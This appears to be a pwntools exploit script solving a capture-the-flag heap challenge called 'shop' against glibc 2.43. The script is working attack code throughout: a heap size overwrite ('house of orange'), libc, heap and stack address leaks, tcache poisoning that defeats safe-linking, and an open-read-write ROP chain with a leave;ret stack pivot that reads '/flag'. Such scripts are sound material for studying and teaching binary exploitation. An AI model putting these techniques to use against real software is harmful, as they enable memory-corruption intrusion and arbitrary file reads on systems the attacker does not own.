1
#!/usr/bin/env python3
2
from pwn import *  # type: ignore
3

4
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
5
file_name = "./shop"
6
libc_position = "/root/glibc-all-in-one/libs/2.43-2ubuntu2_amd64/libc.so.6"
7
remote_addr = ""
8
remote_port = ""
9

10
e = ELF(f"{file_name}")
11
context.binary = e
12
context.log_level = "debug"  # error/debug
13

14
if args.REMOTE:
15
    p = remote(remote_addr, remote_port)
16
elif args.GDB:
17
    gdbscript = """b *$rebase(0x12AB)"""
18
    p = gdb.debug(file_name, gdbscript=gdbscript)
19
else:
20
    p = process(file_name)
21
if libc_position != "":
22
    libc = ELF(f"{libc_position}")
23

24
sd = lambda a: p.send(a)
25
sl = lambda a: p.sendline(a)
26
rc = lambda a=4096: p.recv(a)
27
rl = lambda: p.recvline()
28
ru = lambda a: p.recvuntil(a)
29
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
30
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
31
sh = lambda: p.interactive()
32
slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
33

34

35
def debug(cmd=""):
36
    if not args.REMOTE:
37
        gdb.attach(p, cmd)
38
        pause()
39

40

41
def wait():
42
    ru(b">")
43

44

45
def add(a, b):
46
    wait()
47
    sl(b"1")
48
    ru(b"ex:")
49
    sl(str(a).encode())
50
    ru(b"ze:")
51
    sl(str(b).encode())
52

53

54
def edit(a, b):
55
    wait()
56
    sl(b"2")
57
    ru(b"ex:")
58
    sl(str(a).encode())
59
    ru(b"nt:")
60
    sd(b)
61

62

63
def put(a):
64
    wait()
65
    sl(b"3")
66
    ru(b"ex:")
67
    sl(str(a).encode())
68

69

70
def dell(a):
71
    wait()
72
    sl(b"4")
73
    ru(b"ex:")
74
    sl(str(a).encode())
75

76

77
def safe(a, b):
78
    return b ^ (a >> 12)
79

80

81
add(4, 0x200)
82
add(3, 0x28)
83
dell(3)
84
add(0, 0x38)
85
edit(0, b"A" * 0x38 + p64(0xA81))
86
add(1, 0xCE0)  # house of orange
87
edit(0, b"A" * 0x40)  # leak libc
88
put(0)
89
ru(b"A" * 0x40)
90
libc_base = uu64(rc(6)) - 0x212AC8
91
slog(b"libc", libc_base)
92

93
edit(4, b"a" * 0x210)  # leak heap_base
94
put(4)
95
ru(b"a" * 0x210)
96
heap_base = uu64(rc(5)) << 12
97
slog(b"heap", heap_base)
98

99
flag_addr = heap_base + 0x300
100
pop_rdi = libc_base + 0x11BCFA
101
pop_rsi = libc_base + 0x5C2E7
102
pop_rdx = libc_base + 0xE87BD
103
open_addr = libc_base + libc.sym["open"]
104
read_addr = libc_base + libc.sym["read"]
105
write_addr = libc_base + libc.sym["write"]
106
orw = (
107
    p64(0)
108
    + p64(libc_base + 0x0289FE)
109
    + p64(pop_rdi)
110
    + p64(flag_addr)
111
    + p64(pop_rsi)
112
    + p64(0)
113
    + p64(open_addr)
114
)
115
orw += (
116
    p64(pop_rdi)
117
    + p64(3)
118
    + p64(pop_rsi)
119
    + p64(heap_base + 0x20)
120
    + p64(pop_rdx)
121
    + p64(0x20)
122
    + p64(read_addr)
123
)
124
orw += (
125
    p64(pop_rdi)
126
    + p64(1)
127
    + p64(pop_rsi)
128
    + p64(heap_base + 0x20)
129
    + p64(pop_rdx)
130
    + p64(0x20)
131
    + p64(write_addr)
132
)
133

134
edit(
135
    4,
136
    b"a" * 0x100
137
    + orw
138
    + b"a" * (0x100 - len(orw))
139
    + p64(0)
140
    + p64(0x31)
141
    + p64(
142
        safe(
143
            heap_base + 0x210, # 当前tcache块地址
144
            0x2F0 + heap_base, # tcache_prethread_struct中entries数组地址
145
        )
146
    ),
147
)
148
add(5, 0x20)
149
add(6, 0x20)
150
edit(6, p64(libc_base + libc.sym["_environ"] - 0x38))  # leak environ
151
add(7, 0x20)
152
edit(7, b"a" * 0x38)
153
put(7)
154
ru(b"a" * 0x38)
155
stack = uu64(rc(6))
156
slog("stack", stack)
157
ret_addr = stack - 0x218 - 0x30
158
slog("return", ret_addr)
159
edit(6, p64(ret_addr) + p64(0) + b"/flag\x00\x00\x00")
160
add(2, 0x20)
161
edit(
162
    2,
163
    p64(heap_base + 0x110) + p64(libc_base + 0x29BB0),  # leave;ret
164
)
165
sh()